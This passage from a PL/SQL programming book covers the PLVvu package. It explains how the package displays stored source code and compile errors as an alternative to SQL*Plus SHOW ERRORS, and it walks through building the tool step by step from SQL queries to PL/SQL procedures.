Previous: 14.4 Using PLVtmr in Scripts Chapter 15 Next: 15.2 Displaying Compile Errors

15. PLVvu: Viewing Source Code and Compile Errors

Contents:
Compiling PL/SQL Code in SQL*Plus
Displaying Compile Errors
Displaying Source Code
Implementing PLVvu

The PLVvu (PL/Vision View) package offers a set of programs which allow you to view both stored source code and compile errors. It provides an alternative to the SQL*Plus SHOW ERRORS command which offers you significantly more information about your compile problem. It allows you to quickly scan PL/SQL source code stored in the data dictionary.

This chapter shows you how to use the PLVvu programs and also explores the steps involved in constructing a utility like PLVvu. Before diving into the programs provided by PLVvu, however, let's review the situation most PL/SQL developers around the world face on a daily basis as they try to compile their code.

15.1 Compiling PL/SQL Code in SQL*Plus

Suppose that you work really, really hard at building this very complicated PL/SQL program. It's a big one, but you feel as if you've got a handle on it. You "create or replace" it in SQL*Plus and here is what you see:

SQL> start bigone.sql
Warning: Procedure created with compilation errors.

You groan. At the same time, you realize that you weren't very likely to get it all right the first time. Well, it's time to find out what the error is. Fortunately, Oracle Corporation provides a utility to view the compile errors: the SHOW ERRORS command.

SQL> show errors
LINE/COL ERROR
-------- --------------------------------------------------------------
624/10   PLS-00103: Encountered the symbol "IF" when expecting one of
         the following:
         * & = - + ; < / > in mod not rem an exponent (**)
         <> or != or ~= >= <= <> and or like between is null etc.
         ; was inserted before "IF" to continue.

Wow. Underwhelmed or what? Let's see...so, this error of some kind was found on the tenth character of line 624. Line 624, eh? I open up the file containing my fantastic new program and go down to line 624. Here is what I find:

622  FOR data_rec IN data_cur
623  LOOP
624     restructure (data_rec.key_val);
635  END LOOP;

Not an IF in sight. My sense of elation deflates. Getting this program to compile is going to be more difficult that I had thought. What is going on and why am I so depressed?

The most critical problem is that SHOW ERRORS does not actually show the line of code upon which the error was found. And even if it did show you that line, it might not necessarily reveal the error, since the error might actually occur on a different line, as you saw above.

15.1.1 Compiling Stored Code

When you compile a PL/SQL program in SQL*Plus from a file, the following actions occur:

  1. SQL*Plus strips out all blank lines (!) and passes them on to the SQL layer ("create or replace" is a DDL statement).

  2. The PL/SQL program is compiled. The source code in the file is loaded into the data dictionary in the SYS.SOURCE$, which has the following structure:

    Name           Null?    Type
-------------- -------- ----
OBJ#           NOT NULL NUMBER
LINE           NOT NULL NUMBER
SOURCE                  VARCHAR2(2000)

    When the compile is complete, the SYS.OBJECT$ table is updated with the date and time of the compile and the status (VALID or INVALID).

  3. If there are compile errors, then that information is written to the SYS.ERROR$ table, which has the following structure:

Name           Null?    Type
-------------- -------- ----
OBJ#           NOT NULL NUMBER
SEQUENCE       NOT NULL NUMBER
LINE           NOT NULL NUMBER
POSITION       NOT NULL NUMBER
TEXTLENGTH     NOT NULL NUMBER
TEXT           NOT NULL VARCHAR2(2000)

The LINE column shows the line on which the error was found. The POSITION column contains the character offset to the token on which the error was found. Sadly, that line number reflects the "stripped" version of my program. So it doesn't correlate back to the source code in the file.

15.1.2 What SHOW ERRORS Does

The SHOW ERRORS command simply dumps the contents of SYS.ERROR$ (known, by the way, to mere mortals as the USER_ERRORS view) for the most recently compiled module. You can also display lines from USER_ERRORS for a specific program by specifying the type and name of the program, as shown:

SQL> show errors procedure greetings

This comes in handy when you have compiled (or tried to compile) multiple modules from a single script file. I am really glad that Oracle Corporation provides SHOW ERRORS, but I sure wish it were more useful. Even getting the line number on which the error occurs is not all that helpful. Sure, I can check my source code (usually in an operating system file). Yet my file line numbers will probably not match the stored code line numbers since SQL*Plus removes blank lines at compile time. I can write a query against USER_SOURCE to see my stored code, but what would be really great is if the SHOW ERRORS command at least showed the source code with which PL/SQL had its problem.

Wishful thinking does not, however, help a developer very much. I could wait until Oracle Corporation gets around to enhancing SHOW ERRORS, or maybe I could do something about it myself right now. I have learned over the years[1] two important lessons:

[1] This dates from 1991 when I built my own debugger for SQL*Forms, XRay Vision, in SQL*Forms itself.

  1. Don't wait for Oracle Corporation to provide the finishing touches on products that improve developer productivity and general quality of life. Those enhancement requests are usually way down on the list of priorities.

  2. I can usually build some kind of utility that goes a long way towards addressing a deficiency in the Oracle tools. It's not the same as Oracle really doing it right and it's not as polished or "shrink-wrapped" as a real third-party vendor solution, but it can still have a noticeable impact on my productivity.

The next section offers an alternative to SHOW ERRORS that handles many of the problems of this builtin command. This package should come in very handy, and it should also serve as a lesson (maybe even an inspiration) to all of my readers out there: don't whine, design! If you've got a complaint and you've got a need, take development into your own hands and build yourself a solution.

Previous: 14.4 Using PLVtmr in Scripts | Advanced Oracle PL/SQL Programming with Packages | Next: 15.2 Displaying Compile Errors
14.4 Using PLVtmr in Scripts | Book Index | 15.2 Displaying Compile Errors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.2 Displaying Compile Errors

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

15.2 Displaying Compile Errors

The err procedure of the PLVvu package offers a very useful alternative to the SQL*Plus SHOW ERRORS command. The header for this procedure is:

PROCEDURE err
   (name_in IN VARCHAR2 := NULL, overlap_in IN INTEGER := overlap);

You provide the name of the program unit for which you want errors displayed and the err procedure not only displays all errors found in the USER_ERRORS view, but it also shows you exactly which lines of code are causing the problem. The second argument specifies the numbers of lines of code to display around the line with the compile error. The default value is the value set by the set_overlap procedure (described in a later section).

If you do not supply a program name, PLVvu.err will show you the compile errors for the most recently-compiled program unit. It determines this information by searching for the object in ALL_OBJECTS whose last_ddl_time equals the MAX (last_ddl_time).

The format for specifying a program unit is explained fully in Chapter 11, PLVobj: A Packaged Interface to ALL_OBJECTS. Briefly, you can supply only the name, the type:name (as in "b:PLVio" for the body of the PLVio package), or even the type:schema.name (as in "s:scott.showemps" to see the specification of the showemps package owned by SCOTT).

The err procedure tries to be smart about displaying the surrounding lines of code. Suppose, for example, that you have errors on two consecutive lines (318 and 319) and you have specified 10 lines of overlap. You would not want to see lines 309 through 318 as well as 319 through 328, twice, would you? The logic required to handle this complexity is covered in Section 15.4.2, "Implementing the SHOW ERRORS Alternative"

PL/Vision also provides a script named sherr.sql so that you do not have to type the full execute command for the PLVvu.err procedure at the SQL*Plus prompt. The following two requests to show errors are, therefore, equivalent:

SQL> exec PLVvu.err
SQL> @sherr

If you want to pass the name of a particular program to PLVvu.err, you will not be able to use the sherr.sql script.

15.2.1 Impact of PLVvu.err

Consider the SQL*Plus session shown below. First, we have the output from SHOW ERRORS. It reveals that compile errors were found on lines 333 and 349. As usual, it is very difficult to determine from these error messages what is actually wrong with my program and how I should go about finding the source of the problems. It is hard to even tell what the problem is because SHOW ERRORS does not display the line of code in which the error was found.

SQL> show errors
Errors for PACKAGE BODY PLVGEN:
LINE/COL ERROR
-------- --------------------------------------------------------------
333/53   PLS-00103: Encountered the symbol ";" when expecting one of
         the following:
         . ( ) , * @ % & | = - + < / > in mod not rem => ..
         an exponent (**) <> or != or ~= >= <= <> and or like etc.
         ) was inserted before ";" to continue.
349/4    PLS-00103: Encountered the symbol "BEGIN" when expecting one
         of the following:
         begin end function package pragma procedure form
         Replacing "BEGIN" with "begin".

Now let's check out the PLVvu alternative. In the following SQL*Plus session, instead of typing SHOW ERRORS, I call the PLVvu.err procedure. Since I do not provide a program name, it automatically locates the last compiled object, finds some errors, and displays the information.

SQL> exec PLVvu.err
-----------------------------------------------------------------------
PL/Vision Error Listing for PACKAGE BODY PLVGEN
-----------------------------------------------------------------------
Line#  Source
-----------------------------------------------------------------------
  331          put_line;
  332       END IF;
  333       PLVio.put_line (indent_stg (plus_in) || stg_in;
ERR                                                        *
    PLS-00103: Encountered the symbol ";" when expecting one of
    the following:  . ( ) , * @ % & | = - + < / > in mod not rem
     => ..     an exponent (**) <> or != or ~= >= <= <> and or
    like etc.  ) was inserted before ";" to continue.
  334       IF blanks_in IN (c_both, c_after)
  335       THEN
-----------------------------------------------------------------------
  347        plus_in IN INTEGER := 0,
  348        blanks_in IN VARCHAR2 := c_none);
  349    IS
ERR       *
    PLS-00103: Encountered the symbol "BEGIN" when expecting one
    of the following:  begin end function package pragma
    procedure form Replacing "BEGIN" with "begin".
  350    BEGIN
  351       IF using_cmnt
-----------------------------------------------------------------------

Well, that certainly looks different! The same two error messages show up (immediately after the word ERR on the left margin of the output). But in addition to those error messages, the PLVvu.err procedure displays the line of source code with which PL/SQL had a problem, as well as two lines before and after that problematic line of code.

With this added data, it is very easy for me to see what went wrong:

  1. I left off the right parenthesis in my call to PLVio.put_line.

  2. I included a semicolon at the end of line 348 -- this usually happens when I copy the header for a program out of the package specification and then paste it into the body and forget to remove the semicolon.

Notice that in both these cases the lines of code that were in error were not the lines of code indicated by the compiler. Hey, no compiler's perfect, right? In any case, I am able to immediately return to my source code and make the corrections. I have found that the PLVvu.err procedure can save me a solid 30 seconds each time I run into a compile error -- and believe me, I run into lots of compile errors with my code. This utility alone saves me an incredible amount of development time.

15.2.2 Setting the Code Overlap

You can specify the number of lines to display around the line in error by using the set_overlap procedure:

PROCEDURE set_overlap (size_in IN INTEGER := c_overlap);

The default value for the single size argument is provided by the package constant, c_overlap, which has a value of 5. So if you never call set_overlap, PLVvu will display five lines of code before and after a line with a compile error.

The following line of code changes the overlap to only two lines:

PLVvu.set_overlap (2);

And this call to set_overlap changes the overlap back to the default, since no value is provided.

PLVvu.set_overlap;

You can obtain the current value of the overlap by calling the overlap function:

FUNCTION overlap RETURN INTEGER;

If you don't like the default value of five lines, you might include a call to PLVvu.set_overlap in your login.sql to make sure that it is always set the way you like it in SQL*Plus.

Previous: 15.1 Compiling PL/SQL Code in SQL*Plus | Advanced Oracle PL/SQL Programming with Packages | Next: 15.3 Displaying Source Code
15.1 Compiling PL/SQL Code in SQL*Plus | Book Index | 15.3 Displaying Source Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.3 Displaying Source Code

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

15.3 Displaying Source Code

PLVvu provides two procedures to display source code: the code and code_after programs. The code program displays all the lines of code for the specified program unit found between the start and end lines specified. The code_after program displays the specified number of lines found after the n th occurrence of a particular string. They are both explained below.

15.3.1 Displaying Code by Line Number

The header for the code program is:

PROCEDURE code
   (name_in IN VARCHAR2 := NULL,
    start_in IN INTEGER := 1,
    end_in IN INTEGER := NULL,
    header_in IN VARCHAR2 := 'Code for');

The first argument is the name of the program unit. If you do not supply a program, PLVvu.code will use the object last compiled into the database.

The format for specifying a program unit is explained in Chapter 11. Briefly, you can supply only the name, the type:name (as in "b:PLVio" for the body of the PLVio package), or even the type:schema.name (as in "s:scott.showemps" to see the specification of the showemps package owned by SCOTT).

The second and third arguments provide the range of line numbers of the code to be displayed. The default is all lines, with the start value of 1 and the end value NULL. The final argument provides a prefix for the output's header.

If you want to see all the lines of source code for a program unit, simply pass the program name and leave all the other arguments as the default. This approach is shown below:

SQL> exec PLVvu.code('s:testcase');
 --------------------------------------------------------------------
 Code for PACKAGE TESTCASE
 --------------------------------------------------------------------
 Line#  Source
 --------------------------------------------------------------------
     1 package testcase
     2 is
     3    procedure save (string_in in varchar2);
     4 end testcase;

The next call to PLVvu.code requests that it display lines 85 through 95 of the body of the PLVvu package.

SQL> exec PLVvu.code ('b:PLVvu', 85, 95, 'Contents of');
 ----------------------------------------------------------------------
 Contents of PACKAGE BODY PLVVU
 ----------------------------------------------------------------------
 Line#  Source
 ----------------------------------------------------------------------
    85      THEN
    86         p.l ('ERR' || LPAD ('*', err_rec.position+4));
    87         PLVprs.display_wrap
    88            (PLVchr.stripped (err_rec.text, PLVchr.newline_char),
    89             60, '    ');
    90      END IF;
    91      CLOSE err_cur;
    92   END;
    93   /*--------------- Public Modules -----------------*/
    94   PROCEDURE set_overlap
    95      (size_in IN INTEGER := c_overlap)

The code.sql SQL*Plus script allows you to skip some of the typing (and all of those irritating single quotes) when you use PLVvu.code. The last execution of PLVvu.code, for example, could be shortened to:

SQL> @code b:PLVvu 85 95

15.3.2 Displaying Code by Keyword

The code procedure is very useful and saves you the effort of putting together a quick SQL*Plus script to view lines of source code. However, scanning source code by line number ranges is not the only way you might want to locate and view your code. Another common method is to search for a keyword and then display the lines of code before, after, or around that keyword.

The code_after procedure displays the specified lines of code appearing after the nth occurrence of a keyword you provide. The header for code_after is:

PROCEDURE code_after
   (name_in IN VARCHAR2 := NULL,
    start_with_in IN VARCHAR2,
    num_lines_in IN INTEGER := overlap,
    nth_in IN INTEGER := 1)

The first argument is the name of the program unit. If you do not supply a program, PLVvu.code will use the object last compiled into the database.

The format for specifying a program unit is explained in Chapter 11. Briefly, you can supply only the name, the type:name (as in "b:PLVio" for the body of the PLVio package), or even the type:schema.name (as in "s:scott.showemps" to see the specification of the showemps package owned by SCOTT).

The second argument supplies the string for which code_after will search. The num_lines_in argument is the number of lines after the keyword is found that will be displayed (default provided by the current value of the overlap count). The last argument, nth_in, specifies the number of occurrences to be located before displaying the subsequent lines of code.

The following calls to code_after demonstrate the use of these different arguments. In the first example, I ask to see the default number of lines (5) following the first occurrence of SUBSTR. In the second call to code_after, I request to see only three lines following the fifth occurrence of SUBSTR.

SQL> exec PLVvu.code_after('b:PLVio','SUBSTR');
 ----------------------------------------------------------------------
 Code Starting with "SUBSTR" in PACKAGE BODY PLVIO
 ----------------------------------------------------------------------
 Line#  Source
 ----------------------------------------------------------------------
   330           (SUBSTR (srcrep.select_sql, 1, loc-1) ||
   331           srcrep.where_clause || ' ' ||
   332           SUBSTR (srcrep.select_sql, loc));
   333      ELSE
   334         RETURN srcrep.select_sql;
   335      END IF;

SQL> exec PLVvu.code_after('b:PLVio','SUBSTR', 3, 5);
 ----------------------------------------------------------------------
 Code Starting with "SUBSTR" in PACKAGE BODY PLVIO
 ----------------------------------------------------------------------
 Line#  Source
 ----------------------------------------------------------------------
   704                   SUBSTR
   705                      (string_repos.text_in,
   706                       string_repos.start_pos);
   707                string_repos.start_pos :=

Now you know how to use the code and code_after procedures to display your source code. Section 15.4, "Implementing PLVvu" shows you the techniques used to obtain this information.

Special Notes on PLVvu

Currently PLVvu only reads from the ALL_SOURCE data dictionary view to show source text with the code and code_after procedures. You cannot, for example, redirect the "source repository" to a file.

Previous: 15.2 Displaying Compile Errors | Advanced Oracle PL/SQL Programming with Packages | Next: 15.4 Implementing PLVvu
15.2 Displaying Compile Errors | Book Index | 15.4 Implementing PLVvu
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.4 Implementing PLVvu

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

15.4 Implementing PLVvu

PLVvu is a very handy utility; it is also an excellent example of the kind of software you can build yourself to get more out of the Oracle data dictionary. This section goes behind the scenes of PLVvu to help you understand how I built the package -- and, perhaps as importantly, how the package evolved over time into its final PL/Vision format.

First we'll look at the general task of finding and displaying source code stored in the data dictionary. Then we'll examine the steps required to build an alternative to SHOW ERRORS.

15.4.1 How to Find Source Code

When you "create or replace" a program (procedure, function, or package) into the Oracle database, the source code is saved to the SYS.SOURCE$ table. You can view the contents of this table for all of your stored programs by accessing USER_SOURCE view. The structure of this view is:

SQL> desc user_source
 Name           Null?    Type
 -------------- -------- -------------
 NAME           NOT NULL VARCHAR2(30)
 TYPE                    VARCHAR2(12)
 LINE           NOT NULL NUMBER
 TEXT                    VARCHAR2(2000)

The Name column contains the name of the object. The name is always stored in uppercase unless you enclose the name of your program in double quotation marks at creation time. I will assume in my help implementation that you don't do this and that your program name is always uppercased. Type is a string describing the type of source code, either PROCEDURE, FUNCTION, PACKAGE, or PACKAGE BODY (always uppercase). The line is the line number and the text is the line of text. Notice that a line of text may be up to 2000 bytes in length.

You can also access another data dictionary view, ALL_SOURCE, to see the source of all programs you can access, even if you do not own those program units. It isn't hard to write a SQL statement to view the contents of this table. The following SQL script (found in showsrc.sql) gets the basic idea across:

SELECT TO_CHAR (line) || text Line_of_code
  FROM user_source
 WHERE name=UPPER ('&1')
   AND line BETWEEN &2 AND &3
/

However, if you want to make it easy for developers to run such scripts in a flexible manner, you will probably want to move to a PL/SQL-based solution, as I did.

The implementation of the PLVvu.code procedure is shown below:

PROCEDURE code
   (name_in IN VARCHAR2 := NULL,
    start_in IN INTEGER := 1,
    end_in IN INTEGER := NULL,
    header_in IN VARCHAR2 := 'Code for')
IS
   line_rec PLVio.line_type;
   line_num INTEGER;
BEGIN
   set_object (name_in);

   PLVio.asrc (start_in, end_in);
   disp_header (header_in);
   LOOP
      PLVio.get_line (line_rec, line_num);
      EXIT WHEN line_rec.eof;
      disp_text
         (line_rec.line# + start_in - 1, line_rec.text);
   END LOOP;

   PLVio.closesrc;
END;

As you can see, PLVvu relies heavily on other PL/Vision packages. It calls a private procedure, set_object, to set the current object for PLVio. The set_object procedure in turn calls the PLVobj.setcurr program for either the name specified or the last object. The code procedure then calls PLVio.asrc to set the source repository to the ALL_SOURCE view and specifies that only lines between start_in and end_in be queried. It displays a header and then loops through each record retrieved with a call to the PLVio.get_line procedure. It calls a local procedure, disp_text, to format and display the code. When done, it closes the source repository with a call to the PLVio.closesrc procedure.

This code is certainly more complex than the single query of the showsrc.sql script. It is, on the other hand, much more powerful and flexible. For example, this approach makes it quite feasible to enhance the PLVvu.code procedure to read the source code from an operating system file (remove the call to PLVio.asrc and let the user establish her own source repository outside of PLVvu.code). Now how would you do that with a straight SQL solution?

15.4.2 Implementing the SHOW ERRORS Alternative

I could start off by showing you the source code for PLVvu.err and simply step you through this final, polished version of the program. That approach would, however, be both misleading and intimidating. The programs that you see in these pages have been massaged quite thoroughly over a period of months. If I simply explain my final version without giving you a sense of the process by which I arrived at this pristine result, you will be much less likely to develop the skills needed to come up with solutions to your own, very specific problems.[2] As a result, I will make every effort to show you the techniques of problem-solving and iterative coding I have employed en route to producing this package.

[2] In the process of writing this chapter, I performed an unplanned code review of my PLVvu package and performed major surgery on it, improving performance and code reuse. When I wrote "final, polished version" two paragraphs back, I had no idea how much room for improvement was left in PLVvu!

15.4.2.1 Merging source and error information

One of the critical early steps in designing a new package or new kind of utility is to validate the feasibility of the idea. In the case of PLVvu.err, my core idea is:

The USER_SOURCE view contains the source code, including line number. The USER_ERRORS view contains the compile error information, which includes line numbers as well. So it seems as if I should be able to combine these two sources of information into a single useful presentation like the one you saw earlier.

Let's see if I can actually do this. First, I need the SQL statement that will retrieve the source code from the USER_SOURCE view. The following SQL*Plus script displays all the code associated with the specified program unit (&1 and &2 are parameters, allowing values to be passed into the script).

COLUMN line FORMAT 99999
COLUMN text FORMAT A80
SELECT line, text
  FROM user_source
 WHERE name = UPPER ('&2')
   AND type = UPPER ('&1')
 ORDER BY line;

I can call this script (I'll name it showcode.sql) in SQL*Plus as follows:

SQL> start showcode procedure greetings
  LINE TEXT
------ ----------------------------------------------------------------
     1 procedure greetings
     2 is
     3 begin
     4    dbms_output.put_line ('hello world!')
     5 end;

Do you notice anything amiss in the above procedure? There is no semicolon at the end of line 4! In fact when I tried to "create or replace" this procedure, I was informed that:

Warning: Procedure created with compilation errors.

and my good friend SHOW ERRORS revealed the following:

LINE/COL ERROR
-------- --------------------------------------------------------------
5/1      PLS-00103: Encountered the symbol "END" when expecting one of
         the following:
         := . ( % ;
         Resuming parse at line 5, column 5.

If SHOW ERRORS can show the information, that means that there is a row in the USER_ERRORS view. Let's use SQL similar to the code in showcode.sql to show the error information stored in the view. The following script (showerr.sql) succeeds in producing output which matches SHOW ERRORS:

COLUMN linedesc FORMAT A8 HEADING 'LINE/COL'
COLUMN text FORMAT A62 HEADING 'ERROR'
SELECT TO_CHAR (line) || '/' || TO_CHAR(position) linedesc,
       text
  FROM user_errors
 WHERE name = UPPER ('&2')
   AND type = UPPER ('&1')
 ORDER BY line;

15.4.2.2 Showing the line in error

So these two SQL statements separately give me what I need -- but I need to combine them. The big question is now: can I merge these two SQL statements successfully? To merge data in SQL, I perform a join. The following SELECT will, therefore, return a line of text from USER_SOURCE for every row in the USER_ERRORS view.

SELECT TO_CHAR (S.line) || '/' || TO_CHAR(E.position) linedesc,
       S.text
  FROM user_errors E, user_source S
 WHERE E.name = UPPER ('&2')
   AND E.type = UPPER ('&1')
   AND E.name = S.name
   AND E.type = S.type
   AND E.line = S.line
 ORDER BY S.line;

When I run this script as showmerg.sql in SQL*Plus, I see the following:

SQL>  start showmerg procedure greetings
LINE/COL CODE
-------- --------------------------------------------------------------
5/1      end;

So now I can display just those lines of code for which there are errors -- but what is the error? I seem to have lost that part of the equation. I haven't really merged my information yet; I have only used the USER_ERRORS view to "filter" out all those lines for which there are no errors. Furthermore, it is worth pointing out right now that even if I displayed the error along with the line displayed above, I wouldn't be giving myself a whole lot with which to work. Line 5, after all, is not really in error. That's just where the compiler got lost. So if I actually want to get something out of my substitute for SHOW ERRORS, I need to display at least a couple of lines around where the error occurred.

15.4.2.3 Going beyond SHOW ERRORS

There are two different approaches I can use to accomplish this goal: enhance the SQL or switch to a PL/SQL-based implementation. My most natural inclination is to move on to PL/SQL when the SQL going gets the least bit tough. Others, of course, may stick it out longer in the SQL layer. For example, it would be a relatively simple matter to replace the following WHERE clause of the showmerg.sql script:

AND E.line = S.line

with this BETWEEN operator:

AND S.line BETWEEN E.line-2 AND E.line+2

Then the SQL statement would display up to two lines on either side of the error-infested line of code, as shown below:

LINE/COL CODE
-------- --------------------------------------------------------------
4/1      begin
5/1         dbms_output.put_line ('hello world!')
6/1      end;

I could even get really fancy (for me, anyway) and use DECODE to slip the error text in along with the source listing:

SELECT TO_CHAR (S.line) || '/' || TO_CHAR(E.position) linedesc,
       DECODE (S.line,
               E.line,
               S.text|| LPAD ('*', E.position) || CHR(10) || E.text,
               S.text) text
  FROM user_errors E, user_source S
 WHERE E.name = UPPER ('&2')
   AND E.type = UPPER ('&1')
   AND E.name = S.name
   AND E.type = S.type
   AND S.line BETWEEN E.line-2 AND E.line+2
 ORDER BY E.line;

Obligatory DECODE translation: If the source line number equals the error line number, then display the source followed immediately by a line with an asterisk under the position identified by the compiler as containing the error, followed by the error text. Otherwise just display the source text. With the above script (named merge2.sql), I generate this output for the greetings compile error:

SQL> start merge2 procedure greetings
LINE/COL CODE
-------- --------------------------------------------------------------
4/1      begin
5/1         dbms_output.put_line ('hello world!')
6/1      end;
         *
         PLS-00103: Encountered the symbol "END" when expecting one of
         the following:
          := . ( % ;
         ; was inserted before "END" to continue.

Pretty neat, huh? SQL, especially the version provided by Oracle Corporation can be very entertaining and effective. So why, you must be asking, should we bother with a PL/SQL-based implementation? Looks like this does everything we want...or does it?

15.4.2.4 Pushing the limits of an SQL solution

So far we have only tested our script with a very basic procedure and error scenario. Let's throw a couple of monkey wrenches at the merge2 script and see what we get. For starters, let's simply change the mistake in the greetings procedure. Rather than leaving off the semicolon, I will remove the underscore from the builtin name put_line:

create or replace procedure greetings
is
begin
   dbms_output.putline ('hello world!');
end;
/

The output from merge2 then becomes:

LINE/COL CODE
-------- --------------------------------------------------------------
2/16     is
2/4      is
3/16     begin
3/4      begin
4/16        dbms_output.putline ('hello world!');
                        *
         PLS-00302: component 'PUTLINE' must be declared
4/4         dbms_output.putline ('hello world!');
            *
         PL/SQL: Statement ignored
5/16     end;
5/4      end;

Lots of redundant lines of code! The reason for this extra output is that the compiler has actually generated two compile errors for the same line (one at position 4 and one at position 16).

4/4      PL/SQL: Statement ignored
4/16     PLS-00302: component 'PUTLINE' must be declared

And it just gets worse and worse from there. For example, if I add an OPEN statement to my greetings procedure and reference an undefined cursor, I will get four error messages from SHOW ERRORS:

4/4      PL/SQL: Statement ignored
4/16     PLS-00302: component 'PUTLINE' must be declared
5/2      PL/SQL: SQL Statement ignored
5/7      PLS-00201: identifier 'BLOB' must be declared

The output from a call to merge2, however, totals 18 lines (!) featuring both redundant, consecutive lines and extra "overlap" lines (the two lines preceding the second error include both the earlier error and its preceding line, so we get to see way too much and in the wrong order).

At moments like these, I thank my lucky stars for PL/SQL. There are clearly way too many exception conditions and special cases to stay within the non-procedural SQL environment. I need some old-fashioned explicit cursors with loops and IF statements. I need a procedural language.

15.4.2.5 Moving to a PL/SQL-based solution

With PL/SQL, I can relax. I am no longer constrained to come up with a creative/ingenious/obscure way to pack all my logic into a single, set-at-a-time SQL statement. I can employ traditional top-down design techniques to think through each layer of complexity. I will approach a PL/SQL solution in two stages: a direct evolutionary process from the SQL to a PL/SQL procedure (called showerr) and then a full-blown, PL/Vision-based implementation (PLVvu.err).

Here is the basic algorithm of my showerr procedure:

A cursor FOR loop retrieves each of the rows from USER_ERRORS for a given program unit. For each error line retrieved, another cursor fetches lines of source code from USER_SOURCE which surround the line in error. DBMS_OUTPUT.PUT_LINE is then used to send all of these lines to the screen (or DBMS_OUTPUT buffer).

In top-down PL/SQL code we have:

FOR err_rec IN err_cur
LOOP
   FOR line_ind IN
       err_rec.line-2 .. err_rec.line+2
   LOOP
      disp_line(line_ind);
      IF line_ind = err_rec.line
      THEN
         /* Point to error, show message. */
         DBMS_OUTPUT.PUT_LINE
           (LPAD ('*', err_rec.position+8));
         DBMS_OUTPUT.PUT_LINE
           (RPAD ('ERR', 8) || err_rec.text);
      END IF;
   END LOOP;
END LOOP;

where the error cursor looks like this:

   CURSOR err_cur
   IS
      SELECT line, position, text
        FROM user_errors
       WHERE name = UPPER (name_in)
         AND type = UPPER (type_in)
       ORDER BY line;

The disp_line procedure displays the source for the specified line number. It simply fetches the row from USER_SOURCE and displays it with indentation using PUT_LINE.

PROCEDURE disp_line (line_in IN INTEGER)
IS
   CURSOR src_cur
   IS
     SELECT S.line, S.text
       FROM user_source S
      WHERE S.name = name_in
        AND S.type = type_in
        AND S.line = line_in;
   src_rec src_cur%ROWTYPE;
BEGIN
  OPEN src_cur;
  FETCH src_cur INTO src_rec;
  DBMS_OUTPUT.PUT_LINE
     (RPAD (TO_CHAR (line_in), 4) || src_rec.text);
  CLOSE src_cur;
END;

15.4.2.6 The devil in the details

This rapid, top-down driven design process yields a working program in short order. When I run this initial version, however, I find a number of complications (try it yourself; the code is stored in showerr1.sp):

  1. When code is stored in the database, a newline character is placed on the end of each line. So when I use DBMS_OUTPUT.PUT_LINE to display the line, I end up with "double-spacing". SQL*Plus automatically strips off those newlines and showerr would have to do the same thing.

  2. This program still shows multiple instances of the same lines of code, because I apply my "surround the error" algorithm for each error, even when these errors apply to the same line or consecutive lines.

  3. The program automatically indents the source and error text to the eighth column. This works for the first line of a long error message, but all other lines (broken up by embedded newline characters) are justified flush with the left margin. It just doesn't look very professional.

  4. The showerr procedure uses LPAD to put just the right number of spaces (based on the position column value) in front of an asterisk so as to point to the location in the line where the error was found. Yet when the program runs, the * always ends up on the first column. It turns out that when you display output with PUT_LINE in SQL*Plus, all leading spaces are trimmed. The LPAD is rendered useless.

The reason I detail all of these issues for you is to emphasize a truth that I learn over and over again (unfortunately) as I develop my software:

Everything is always more complicated than it seems at first glance.

The conclusions you should draw from this process are:

  • Design your software to be as flexible and extensible as possible.

  • Use top-down design to ensure that you call modules rather than execute an endless, complex series of statements.

  • Use packages from the get-go, because you are going to find that your standalone module really does belong with other programs in a package.

  • When you build functions, think about different ways that they might be used, and design that wider scope into the initial implementation (taking care to avoid gratuitous scope-creep).

In the meantime, though, I have a showerr procedure that simply doesn't make the grade. Let's see what can be done to this standalone procedure to at least make it more useful than the original SQL solution.

15.4.2.7 Showing code just once

We will now enhance the showerr procedure found in showerr1.sp. The result is stored in the showerr2.sp file in the use subdirectory. To my mind, a sensible requirement for showerr would be that it never display a line of code more than once. If more than one error occurs on a line, the line is displayed once and multiple error messages are placed below it. If errors occur on consecutive lines, then the overlap of code around those lines should include those lines.

The easiest way to detect whether a line has already been displayed is to keep track of the last line number displayed. In the following version of the procedure's loops, the last_line variable is initialized to 0 and then set to the current line number after it is displayed. A line is now only displayed if it is greater than the last line number.

FOR err_rec IN err_cur
LOOP
   FOR line_ind IN
       err_rec.line-2 .. err_rec.line+2
   LOOP
      IF last_line < line_ind
      THEN
         /*
         || Display the source & error...
         || This must be changed too!
         */
      END IF;
      last_line := GREATEST (last_line, line_ind);
   END LOOP;
END LOOP;

As noted in the comment above, the logic required to display the source and error must now also be adjusted. If I am going to display a line of source code only once, then I have to take special care to make sure that all error messages are displayed. In the first version of showerr, I displayed the error when the inner FOR loop's line index equaled the outer cursor FOR loop error record's line number:

IF line_ind = err_rec.line
THEN
   ...
END IF;

This same test will no longer work. Suppose I have an error on lines 4 and 6. While the outer loop is still working with the error on line 4, the inner loop will have displayed line 6 and set the last_line to 6. When the outer loop moves on to line 6, the inner loop will not display this line a second time. So when and how will I display the error information for line 6?

15.4.2.8 Fine-tuning code display

I will need to discard the simplistic check for a match on error line number and current source line number. Instead, whenever I have not yet displayed a line, I will call the display_line procedure to show it and then also call a new local module, display_err, to display the error information if that line does indeed have an associated row in the USER_ERRORS view:

FOR err_rec IN err_cur
LOOP
   FOR line_ind IN
       err_rec.line-2 .. err_rec.line+2
   LOOP
      IF last_line < line_ind
      THEN
         display_line (line_ind);
         display_err (line_ind);
      END IF;
